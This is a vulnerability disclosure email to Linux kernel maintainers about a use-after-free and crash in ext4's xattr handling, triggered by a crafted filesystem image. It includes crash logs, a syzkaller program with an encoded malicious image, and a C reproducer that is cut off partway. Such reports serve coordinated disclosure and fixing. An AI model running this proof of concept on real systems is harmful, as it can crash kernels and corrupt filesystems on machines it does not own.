* [SECURITY] ext4: KASAN use-after-free and Oops in ext4_xattr_set_entry with crafted ext4 image
@ 2025-11-05 14:39 章怿贺
2025-11-06 7:00 ` Greg KH
0 siblings, 1 reply; 4+ messages in thread
From: 章怿贺 @ 2025-11-05 14:39 UTC (permalink / raw)
To: security, linux-ext4, linux-kernel
[-- Attachment #1.1: Type: text/plain, Size: 5566 bytes --]
Hi,
I would like to report a potential security issue in the Linux kernel ext4 filesystem, which I found using a modified syzkaller-based kernel fuzzing tool that I developed.
Summary
-------
A local unprivileged user who can mount a crafted ext4 filesystem image and call lsetxattr() on a file inside that filesystem can trigger:
1) an Oops in memcpy_orig() called from ext4_xattr_set_entry(), and
2) a subsequent KASAN-reported slab-use-after-free in rwsem_down_write_slowpath().
The bug is triggered by a crafted ext4 image combined with a trusted.overlay.upper extended attribute set on a file in that filesystem.
I could not find an existing CVE that exactly matches this behavior (though I am aware of CVE-2018-10879, CVE-2019-19319, CVE-2019-19767 and CVE-2024-40972, which also involve ext4_xattr_set_entry()). Could you please help confirm whether this is a new vulnerability or a duplicate of a known issue?
Environment
-----------
- Kernel version: 6.12.51 (built with KASAN, PREEMPT, SMP, NOPTI)
- Architecture: x86_64
- Hypervisor: QEMU (Standard PC i440FX + PIIX, BIOS 1.13.0-1ubuntu1.1)
- Filesystem: ext4, mounted from a crafted disk image via /dev/loopN
- Quota mode: writeback
- No journal (mounted r/w without journal)
Symptoms and logs
-----------------
When running the syzkaller reproducer, the kernel hits an Oops in memcpy_orig() from ext4_xattr_set_entry(), followed by file system corruption messages and a KASAN use-after-free report in rwsem_down_write_slowpath().
Relevant part of the first Oops:
BUG: unable to handle page fault for address: ff1100010f590fe4
#PF: supervisor write access in kernel mode
#PF: error_code(0x0003) - permissions violation
CPU: 2 UID: 0 PID: 1396 Comm: syz.3.37 Not tainted 6.12.51 #3
RIP: 0010:memcpy_orig+0x31/0x140 arch/x86/lib/memcpy_64.S:71
...
Call Trace:
ext4_xattr_set_entry+0x10ba/0x17e0 fs/ext4/xattr.c:1813
ext4_xattr_ibody_set+0x380/0x570 fs/ext4/xattr.c:2283
ext4_xattr_set_handle+0xa16/0x14d0 fs/ext4/xattr.c:2455
ext4_xattr_set+0x1e1/0x3a0 fs/ext4/xattr.c:2569
__vfs_setxattr+0x13e/0x1b0 fs/xattr.c:200
vfs_setxattr+0x12e/0x330 fs/xattr.c:321
do_setxattr+0x134/0x1e0 fs/xattr.c:629
path_setxattr+0x1da/0x220 fs/xattr.c:658
__x64_sys_lsetxattr+0xc1/0x160 fs/xattr.c:679
After that, ext4 reports block bitmap corruption:
EXT4-fs error (device loop3): ext4_validate_block_bitmap:440:
comm syz-executor: bg 0: block 169: padding at end of block bitmap is not set
EXT4-fs error (device loop3) in ext4_mb_clear_bb:6545: Corrupt filesystem
Then KASAN reports a use-after-free in rwsem_down_write_slowpath():
BUG: KASAN: slab-use-after-free in owner_on_cpu include/linux/sched.h:2185 [inline]
BUG: KASAN: slab-use-after-free in rwsem_can_spin_on_owner kernel/locking/rwsem.c:723 [inline]
BUG: KASAN: slab-use-after-free in rwsem_down_write_slowpath+0x1064/0x1110 kernel/locking/rwsem.c:1111
Read of size 4 at addr ff1100010a11c5f4 by task syz-executor/859
...
The buggy address belongs to the object at ff1100010a11c5c0 which belongs to the cache task_struct of size 5640
The buggy address is located 52 bytes inside of freed 5640-byte region [ff1100010a11c5c0, ff1100010a11dbc8)
Reproducer
----------
The issue is reproducible with a syzkaller program and the generated C reproducer.
The reproducer performs roughly the following steps:
1. Use syz_mount_image$ext4 to mount a crafted ext4 image on ./file1 via /dev/loopN,
with options "norecovery,debug_want_extra_isize=0x3e" and with errors=continue
added by syzkaller’s helper.
2. Call lchown("./file1", 0, 0) on the mounted path.
3. Call lsetxattr("./file1", "trusted.overlay.upper", buf, 0xe1, 0).
I am attaching (or linking) the full syzkaller reproducer and the autogenerated C reproducer for convenience:
- syzkaller program (human-readable form)
- C reproducer (auto-generated by syzkaller)
I have attached the crash log and a PoC as separate files for your reference.
Security impact
---------------
From my understanding, this is at least a local denial-of-service issue
(kernel crash / panic) reachable by an unprivileged local user who can:
- supply or access a crafted ext4 filesystem image, and
- mount it (for example, via a loop device, container environment, or with
user namespaces, depending on system configuration), and
- call lsetxattr() on the crafted file.
Because KASAN reports a slab use-after-free involving task_struct objects, I am not sure whether this can be further exploited for privilege escalation, but in principle it looks like a memory corruption bug.
Request
-------
Could you please:
1. Confirm whether this is a new issue or a duplicate of any existing ext4 xattr-related CVE (e.g., CVE-2018-10879, CVE-2019-19319, CVE-2019-19767, CVE-2024-40972), and
2. Advise on the correct fix / commit, once identified?
If it is considered a new security vulnerability, I would like to request or coordinate a CVE ID for it and will reference the relevant patch / mailing list thread in the CVE description.
Thank you very much for your time and for maintaining ext4.
Best regards,
YiHe Zhang
Zhejiang University
[-- Attachment #1.2: Type: text/html, Size: 7767 bytes --]
[-- Attachment #2: poc.txt --]
[-- Type: text/plain, Size: 39545 bytes --]
Syzkaller reproducer:
# {Threaded:true Repeat:true RepeatTimes:0 Procs:1 Slowdown:1 Sandbox: SandboxArg:0 Leak:false NetInjection:false NetDevices:false NetReset:false Cgroups:false BinfmtMisc:false CloseFDs:false KCSAN:false DevlinkPCI:false NicVF:false USB:false VhciInjection:false Wifi:false IEEE802154:false Sysctl:true Swap:false UseTmpDir:true HandleSegv:true Trace:false CallComments:true LegacyOptions:{Collide:false Fault:false FaultCall:0 FaultNth:0}}
syz_mount_image$ext4(&(0x7f0000000600)='ext4\x00', &(0x7f0000000640)='./file1\x00', 0x0, &(0x7f0000000080)={[{@norecovery}, {@debug_want_extra_isize={'debug_want_extra_isize', 0x3d, 0x3e}}]}, 0x1, 0x603, &(0x7f0000000d80)="$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")
lchown(&(0x7f0000001600)='./file1\x00', 0x0, 0x0)
lsetxattr$trusted_overlay_upper(&(0x7f0000000700)='./file1\x00', &(0x7f0000000740), &(0x7f0000000f40)=ANY=[], 0xe1, 0x0)
C reproducer:
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <dirent.h>
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <setjmp.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#include <linux/futex.h>
#include <linux/loop.h>
#ifndef __NR_memfd_create
#define __NR_memfd_create 319
#endif
static unsigned long long procid;
static __thread int clone_ongoing;
static __thread int skip_segv;
static __thread jmp_buf segv_env;
static void segv_handler(int sig, siginfo_t* info, void* ctx)
{
if (__atomic_load_n(&clone_ongoing, __ATOMIC_RELAXED) != 0) {
exit(sig);
}
uintptr_t addr = (uintptr_t)info->si_addr;
const uintptr_t prog_start = 1 << 20;
const uintptr_t prog_end = 100 << 20;
int skip = __atomic_load_n(&skip_segv, __ATOMIC_RELAXED) != 0;
int valid = addr < prog_start || addr > prog_end;
if (skip && valid) {
_longjmp(segv_env, 1);
}
exit(sig);
}
static void install_segv_handler(void)
{
struct sigaction sa;
memset(&sa, 0, sizeof(sa));
sa.sa_handler = SIG_IGN;
syscall(SYS_rt_sigaction, 0x20, &sa, NULL, 8);
syscall(SYS_rt_sigaction, 0x21, &sa, NULL, 8);
memset(&sa, 0, sizeof(sa));
sa.sa_sigaction = segv_handler;
sa.sa_flags = SA_NODEFER | SA_SIGINFO;
sigaction(SIGSEGV, &sa, NULL);
sigaction(SIGBUS, &sa, NULL);
}
#define NONFAILING(...) \
({ \
int ok = 1; \
__atomic_fetch_add(&skip_segv, 1, __ATOMIC_SEQ_CST); \
if (_setjmp(segv_env) == 0) { \
__VA_ARGS__; \
} else \
ok = 0; \
__atomic_fetch_sub(&skip_segv, 1, __ATOMIC_SEQ_CST); \
ok; \
})
static void sleep_ms(uint64_t ms)
{
usleep(ms * 1000);
}
static uint64_t current_time_ms(void)
{
struct timespec ts;
if (clock_gettime(CLOCK_MONOTONIC, &ts))
exit(1);
return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}
static void use_temporary_dir(void)
{
char tmpdir_template[] = "./syzkaller.XXXXXX";
char* tmpdir = mkdtemp(tmpdir_template);
if (!tmpdir)
exit(1);
if (chmod(tmpdir, 0777))
exit(1);
if (chdir(tmpdir))
exit(1);
}
static void thread_start(void* (*fn)(void*), void* arg)
{
pthread_t th;
pthread_attr_t attr;
pthread_attr_init(&attr);
pthread_attr_setstacksize(&attr, 128 << 10);
int i = 0;
for (; i < 100; i++) {
if (pthread_create(&th, &attr, fn, arg) == 0) {
pthread_attr_destroy(&attr);
return;
}
if (errno == EAGAIN) {
usleep(50);
continue;
}
break;
}
exit(1);
}
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (ev->state)
exit(1);
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
static int event_isset(event_t* ev)
{
return __atomic_load_n(&ev->state, __ATOMIC_ACQUIRE);
}
static int event_timedwait(event_t* ev, uint64_t timeout)
{
uint64_t start = current_time_ms();
uint64_t now = start;
for (;;) {
uint64_t remain = timeout - (now - start);
struct timespec ts;
ts.tv_sec = remain / 1000;
ts.tv_nsec = (remain % 1000) * 1000 * 1000;
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, &ts);
if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
return 1;
now = current_time_ms();
if (now - start > timeout)
return 0;
}
}
static bool write_file(const char* file, const char* what, ...)
{
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
int err = errno;
close(fd);
errno = err;
return false;
}
close(fd);
return true;
}
//% This code is derived from puff.{c,h}, found in the zlib development. The
//% original files come with the following copyright notice:
//% Copyright (C) 2002-2013 Mark Adler, all rights reserved
//% version 2.3, 21 Jan 2013
//% This software is provided 'as-is', without any express or implied
//% warranty. In no event will the author be held liable for any damages
//% arising from the use of this software.
//% Permission is granted to anyone to use this software for any purpose,
//% including commercial applications, and to alter it and redistribute it
//% freely, subject to the following restrictions:
//% 1. The origin of this software must not be misrepresented; you must not
//% claim that you wrote the original software. If you use this software
//% in a product, an acknowledgment in the product documentation would be
//% appreciated but is not required.
//% 2. Altered source versions must be plainly marked as such, and must not be
//% misrepresented as being the original software.
//% 3. This notice may not be removed or altered from any source distribution.
//% Mark Adler madler@alumni.caltech.edu
//% BEGIN CODE DERIVED FROM puff.{c,h}
#define MAXBITS 15
#define MAXLCODES 286
#define MAXDCODES 30
#define MAXCODES (MAXLCODES + MAXDCODES)
#define FIXLCODES 288
struct puff_state {
unsigned char* out;
unsigned long outlen;
unsigned long outcnt;
const unsigned char* in;
unsigned long inlen;
unsigned long incnt;
int bitbuf;
int bitcnt;
jmp_buf env;
};
static int puff_bits(struct puff_state* s, int need)
{
long val = s->bitbuf;
while (s->bitcnt < need) {
if (s->incnt == s->inlen)
longjmp(s->env, 1);
val |= (long)(s->in[s->incnt++]) << s->bitcnt;
s->bitcnt += 8;
}
s->bitbuf = (int)(val >> need);
s->bitcnt -= need;
return (int)(val & ((1L << need) - 1));
}
static int puff_stored(struct puff_state* s)
{
s->bitbuf = 0;
s->bitcnt = 0;
if (s->incnt + 4 > s->inlen)
return 2;
unsigned len = s->in[s->incnt++];
len |= s->in[s->incnt++] << 8;
if (s->in[s->incnt++] != (~len & 0xff) ||
s->in[s->incnt++] != ((~len >> 8) & 0xff))
return -2;
if (s->incnt + len > s->inlen)
return 2;
if (s->outcnt + len > s->outlen)
return 1;
for (; len--; s->outcnt++, s->incnt++) {
if (s->in[s->incnt])
s->out[s->outcnt] = s->in[s->incnt];
}
return 0;
}
struct puff_huffman {
short* count;
short* symbol;
};
static int puff_decode(struct puff_state* s, const struct puff_huffman* h)
{
int first = 0;
int index = 0;
int bitbuf = s->bitbuf;
int left = s->bitcnt;
int code = first = index = 0;
int len = 1;
short* next = h->count + 1;
while (1) {
while (left--) {
code |= bitbuf & 1;
bitbuf >>= 1;
int count = *next++;
if (code - count < first) {
s->bitbuf = bitbuf;
s->bitcnt = (s->bitcnt - len) & 7;
return h->symbol[index + (code - first)];
}
index += count;
first += count;
first <<= 1;
code <<= 1;
len++;
}
left = (MAXBITS + 1) - len;
if (left == 0)
break;
if (s->incnt == s->inlen)
longjmp(s->env, 1);
bitbuf = s->in[s->incnt++];
if (left > 8)
left = 8;
}
return -10;
}
static int puff_construct(struct puff_huffman* h, const short* length, int n)
{
int len;
for (len = 0; len <= MAXBITS; len++)
h->count[len] = 0;
int symbol;
for (symbol = 0; symbol < n; symbol++)
(h->count[length[symbol]])++;
if (h->count[0] == n)
return 0;
int left = 1;
for (len = 1; len <= MAXBITS; len++) {
left <<= 1;
left -= h->count[len];
if (left < 0)
return left;
}
short offs[MAXBITS + 1];
offs[1] = 0;
for (len = 1; len < MAXBITS; len++)
offs[len + 1] = offs[len] + h->count[len];
for (symbol = 0; symbol < n; symbol++)
if (length[symbol] != 0)
h->symbol[offs[length[symbol]]++] = symbol;
return left;
}
static int puff_codes(struct puff_state* s, const struct puff_huffman* lencode,
const struct puff_huffman* distcode)
{
static const short lens[29] = {3, 4, 5, 6, 7, 8, 9, 10, 11, 13,
15, 17, 19, 23, 27, 31, 35, 43, 51, 59,
67, 83, 99, 115, 131, 163, 195, 227, 258};
static const short lext[29] = {0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2,
2, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 0};
static const short dists[30] = {
1, 2, 3, 4, 5, 7, 9, 13, 17, 25,
33, 49, 65, 97, 129, 193, 257, 385, 513, 769,
1025, 1537, 2049, 3073, 4097, 6145, 8193, 12289, 16385, 24577};
static const short dext[30] = {0, 0, 0, 0, 1, 1, 2, 2, 3, 3,
4, 4, 5, 5, 6, 6, 7, 7, 8, 8,
9, 9, 10, 10, 11, 11, 12, 12, 13, 13};
int symbol;
do {
symbol = puff_decode(s, lencode);
if (symbol < 0)
return symbol;
if (symbol < 256) {
if (s->outcnt == s->outlen)
return 1;
if (symbol)
s->out[s->outcnt] = symbol;
s->outcnt++;
} else if (symbol > 256) {
symbol -= 257;
if (symbol >= 29)
return -10;
int len = lens[symbol] + puff_bits(s, lext[symbol]);
symbol = puff_decode(s, distcode);
if (symbol < 0)
return symbol;
unsigned dist = dists[symbol] + puff_bits(s, dext[symbol]);
if (dist > s->outcnt)
return -11;
if (s->outcnt + len > s->outlen)
return 1;
while (len--) {
if (dist <= s->outcnt && s->out[s->outcnt - dist])
s->out[s->outcnt] = s->out[s->outcnt - dist];
s->outcnt++;
}
}
} while (symbol != 256);
return 0;
}
static int puff_fixed(struct puff_state* s)
{
static int virgin = 1;
static short lencnt[MAXBITS + 1], lensym[FIXLCODES];
static short distcnt[MAXBITS + 1], distsym[MAXDCODES];
static struct puff_huffman lencode, distcode;
if (virgin) {
lencode.count = lencnt;
lencode.symbol = lensym;
distcode.count = distcnt;
distcode.symbol = distsym;
short lengths[FIXLCODES];
int symbol;
for (symbol = 0; symbol < 144; symbol++)
lengths[symbol] = 8;
for (; symbol < 256; symbol++)
lengths[symbol] = 9;
for (; symbol < 280; symbol++)
lengths[symbol] = 7;
for (; symbol < FIXLCODES; symbol++)
lengths[symbol] = 8;
puff_construct(&lencode, lengths, FIXLCODES);
for (symbol = 0; symbol < MAXDCODES; symbol++)
lengths[symbol] = 5;
puff_construct(&distcode, lengths, MAXDCODES);
virgin = 0;
}
return puff_codes(s, &lencode, &distcode);
}
static int puff_dynamic(struct puff_state* s)
{
static const short order[19] = {16, 17, 18, 0, 8, 7, 9, 6, 10, 5,
11, 4, 12, 3, 13, 2, 14, 1, 15};
int nlen = puff_bits(s, 5) + 257;
int ndist = puff_bits(s, 5) + 1;
int ncode = puff_bits(s, 4) + 4;
if (nlen > MAXLCODES || ndist > MAXDCODES)
return -3;
short lengths[MAXCODES];
int index;
for (index = 0; index < ncode; index++)
lengths[order[index]] = puff_bits(s, 3);
for (; index < 19; index++)
lengths[order[index]] = 0;
short lencnt[MAXBITS + 1], lensym[MAXLCODES];
struct puff_huffman lencode = {lencnt, lensym};
int err = puff_construct(&lencode, lengths, 19);
if (err != 0)
return -4;
index = 0;
while (index < nlen + ndist) {
int symbol;
int len;
symbol = puff_decode(s, &lencode);
if (symbol < 0)
return symbol;
if (symbol < 16)
lengths[index++] = symbol;
else {
len = 0;
if (symbol == 16) {
if (index == 0)
return -5;
len = lengths[index - 1];
symbol = 3 + puff_bits(s, 2);
} else if (symbol == 17)
symbol = 3 + puff_bits(s, 3);
else
symbol = 11 + puff_bits(s, 7);
if (index + symbol > nlen + ndist)
return -6;
while (symbol--)
lengths[index++] = len;
}
}
if (lengths[256] == 0)
return -9;
err = puff_construct(&lencode, lengths, nlen);
if (err && (err < 0 || nlen != lencode.count[0] + lencode.count[1]))
return -7;
short distcnt[MAXBITS + 1], distsym[MAXDCODES];
struct puff_huffman distcode = {distcnt, distsym};
err = puff_construct(&distcode, lengths + nlen, ndist);
if (err && (err < 0 || ndist != distcode.count[0] + distcode.count[1]))
return -8;
return puff_codes(s, &lencode, &distcode);
}
static int puff(unsigned char* dest, unsigned long* destlen,
const unsigned char* source, unsigned long sourcelen)
{
struct puff_state s = {
.out = dest,
.outlen = *destlen,
.outcnt = 0,
.in = source,
.inlen = sourcelen,
.incnt = 0,
.bitbuf = 0,
.bitcnt = 0,
};
int err;
if (setjmp(s.env) != 0)
err = 2;
else {
int last;
do {
last = puff_bits(&s, 1);
int type = puff_bits(&s, 2);
err = type == 0 ? puff_stored(&s)
: (type == 1 ? puff_fixed(&s)
: (type == 2 ? puff_dynamic(&s) : -1));
if (err != 0)
break;
} while (!last);
}
*destlen = s.outcnt;
return err;
}
//% END CODE DERIVED FROM puff.{c,h}
#define ZLIB_HEADER_WIDTH 2
static int puff_zlib_to_file(const unsigned char* source,
unsigned long sourcelen, int dest_fd)
{
if (sourcelen < ZLIB_HEADER_WIDTH)
return 0;
source += ZLIB_HEADER_WIDTH;
sourcelen -= ZLIB_HEADER_WIDTH;
const unsigned long max_destlen = 132 << 20;
void* ret = mmap(0, max_destlen, PROT_WRITE | PROT_READ,
MAP_PRIVATE | MAP_ANON, -1, 0);
if (ret == MAP_FAILED)
return -1;
unsigned char* dest = (unsigned char*)ret;
unsigned long destlen = max_destlen;
int err = puff(dest, &destlen, source, sourcelen);
if (err) {
munmap(dest, max_destlen);
errno = -err;
return -1;
}
if (write(dest_fd, dest, destlen) != (ssize_t)destlen) {
munmap(dest, max_destlen);
return -1;
}
return munmap(dest, max_destlen);
}
static int setup_loop_device(unsigned char* data, unsigned long size,
const char* loopname, int* loopfd_p)
{
int err = 0, loopfd = -1;
int memfd = syscall(__NR_memfd_create, "syzkaller", 0);
if (memfd == -1) {
err = errno;
goto error;
}
if (puff_zlib_to_file(data, size, memfd)) {
err = errno;
goto error_close_memfd;
}
loopfd = open(loopname, O_RDWR);
if (loopfd == -1) {
err = errno;
goto error_close_memfd;
}
if (ioctl(loopfd, LOOP_SET_FD, memfd)) {
if (errno != EBUSY) {
err = errno;
goto error_close_loop;
}
ioctl(loopfd, LOOP_CLR_FD, 0);
usleep(1000);
if (ioctl(loopfd, LOOP_SET_FD, memfd)) {
err = errno;
goto error_close_loop;
}
}
close(memfd);
*loopfd_p = loopfd;
return 0;
error_close_loop:
close(loopfd);
error_close_memfd:
close(memfd);
error:
errno = err;
return -1;
}
static void reset_loop_device(const char* loopname)
{
int loopfd = open(loopname, O_RDWR);
if (loopfd == -1) {
return;
}
if (ioctl(loopfd, LOOP_CLR_FD, 0)) {
}
close(loopfd);
}
static long syz_mount_image(volatile long fsarg, volatile long dir,
volatile long flags, volatile long optsarg,
volatile long change_dir,
volatile unsigned long size, volatile long image)
{
unsigned char* data = (unsigned char*)image;
int res = -1, err = 0, need_loop_device = !!size;
char* mount_opts = (char*)optsarg;
char* target = (char*)dir;
char* fs = (char*)fsarg;
char* source = NULL;
char loopname[64];
if (need_loop_device) {
int loopfd;
memset(loopname, 0, sizeof(loopname));
snprintf(loopname, sizeof(loopname), "/dev/loop%llu", procid);
if (setup_loop_device(data, size, loopname, &loopfd) == -1)
return -1;
close(loopfd);
source = loopname;
}
mkdir(target, 0777);
char opts[256];
memset(opts, 0, sizeof(opts));
if (strlen(mount_opts) > (sizeof(opts) - 32)) {
}
strncpy(opts, mount_opts, sizeof(opts) - 32);
if (strcmp(fs, "iso9660") == 0) {
flags |= MS_RDONLY;
} else if (strncmp(fs, "ext", 3) == 0) {
bool has_remount_ro = false;
char* remount_ro_start = strstr(opts, "errors=remount-ro");
if (remount_ro_start != NULL) {
char after = *(remount_ro_start + strlen("errors=remount-ro"));
char before = remount_ro_start == opts ? '\0' : *(remount_ro_start - 1);
has_remount_ro = ((before == '\0' || before == ',') &&
(after == '\0' || after == ','));
}
if (strstr(opts, "errors=panic") || !has_remount_ro)
strcat(opts, ",errors=continue");
} else if (strcmp(fs, "xfs") == 0) {
strcat(opts, ",nouuid");
} else if (strncmp(fs, "gfs2", 4) == 0 &&
(strstr(opts, "errors=panic") || strstr(opts, "debug"))) {
strcat(opts, ",errors=withdraw");
}
res = mount(source, target, fs, flags, opts);
if (res == -1) {
err = errno;
goto error_clear_loop;
}
res = open(target, O_RDONLY | O_DIRECTORY);
if (res == -1) {
err = errno;
goto error_clear_loop;
}
if (change_dir) {
res = chdir(target);
if (res == -1) {
err = errno;
}
}
error_clear_loop:
if (need_loop_device)
reset_loop_device(loopname);
errno = err;
return res;
}
#define FS_IOC_SETFLAGS _IOW('f', 2, long)
static void remove_dir(const char* dir)
{
int iter = 0;
DIR* dp = 0;
const int umount_flags = MNT_FORCE | UMOUNT_NOFOLLOW;
retry:
while (umount2(dir, umount_flags) == 0) {
}
dp = opendir(dir);
if (dp == NULL) {
if (errno == EMFILE) {
exit(1);
}
exit(1);
}
struct dirent* ep = 0;
while ((ep = readdir(dp))) {
if (strcmp(ep->d_name, ".") == 0 || strcmp(ep->d_name, "..") == 0)
continue;
char filename[FILENAME_MAX];
snprintf(filename, sizeof(filename), "%s/%s", dir, ep->d_name);
while (umount2(filename, umount_flags) == 0) {
}
struct stat st;
if (lstat(filename, &st))
exit(1);
if (S_ISDIR(st.st_mode)) {
remove_dir(filename);
continue;
}
int i;
for (i = 0;; i++) {
if (unlink(filename) == 0)
break;
if (errno == EPERM) {
int fd = open(filename, O_RDONLY);
if (fd != -1) {
long flags = 0;
if (ioctl(fd, FS_IOC_SETFLAGS, &flags) == 0) {
}
close(fd);
continue;
}
}
if (errno == EROFS) {
break;
}
if (errno != EBUSY || i > 100)
exit(1);
if (umount2(filename, umount_flags))
exit(1);
}
}
closedir(dp);
for (int i = 0;; i++) {
if (rmdir(dir) == 0)
break;
if (i < 100) {
if (errno == EPERM) {
int fd = open(dir, O_RDONLY);
if (fd != -1) {
long flags = 0;
if (ioctl(fd, FS_IOC_SETFLAGS, &flags) == 0) {
}
close(fd);
continue;
}
}
if (errno == EROFS) {
break;
}
if (errno == EBUSY) {
if (umount2(dir, umount_flags))
exit(1);
continue;
}
if (errno == ENOTEMPTY) {
if (iter < 100) {
iter++;
goto retry;
}
}
}
exit(1);
}
}
static void kill_and_wait(int pid, int* status)
{
kill(-pid, SIGKILL);
kill(pid, SIGKILL);
for (int i = 0; i < 100; i++) {
if (waitpid(-1, status, WNOHANG | __WALL) == pid)
return;
usleep(1000);
}
DIR* dir = opendir("/sys/fs/fuse/connections");
if (dir) {
for (;;) {
struct dirent* ent = readdir(dir);
if (!ent)
break;
if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0)
continue;
char abort[300];
snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort",
ent->d_name);
int fd = open(abort, O_WRONLY);
if (fd == -1) {
continue;
}
if (write(fd, abort, 1) < 0) {
}
close(fd);
}
closedir(dir);
} else {
}
while (waitpid(-1, status, __WALL) != pid) {
}
}
static void reset_loop()
{
char buf[64];
snprintf(buf, sizeof(buf), "/dev/loop%llu", procid);
int loopfd = open(buf, O_RDWR);
if (loopfd != -1) {
ioctl(loopfd, LOOP_CLR_FD, 0);
close(loopfd);
}
}
static void setup_test()
{
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setpgrp();
write_file("/proc/self/oom_score_adj", "1000");
if (symlink("/dev/binderfs", "./binderfs")) {
}
}
static void setup_sysctl()
{
int cad_pid = fork();
if (cad_pid < 0)
exit(1);
if (cad_pid == 0) {
for (;;)
sleep(100);
}
char tmppid[32];
snprintf(tmppid, sizeof(tmppid), "%d", cad_pid);
struct {
const char* name;
const char* data;
} files[] = {
{"/sys/kernel/debug/x86/nmi_longest_ns", "10000000000"},
{"/proc/sys/kernel/hung_task_check_interval_secs", "20"},
{"/proc/sys/net/core/bpf_jit_kallsyms", "1"},
{"/proc/sys/net/core/bpf_jit_harden", "0"},
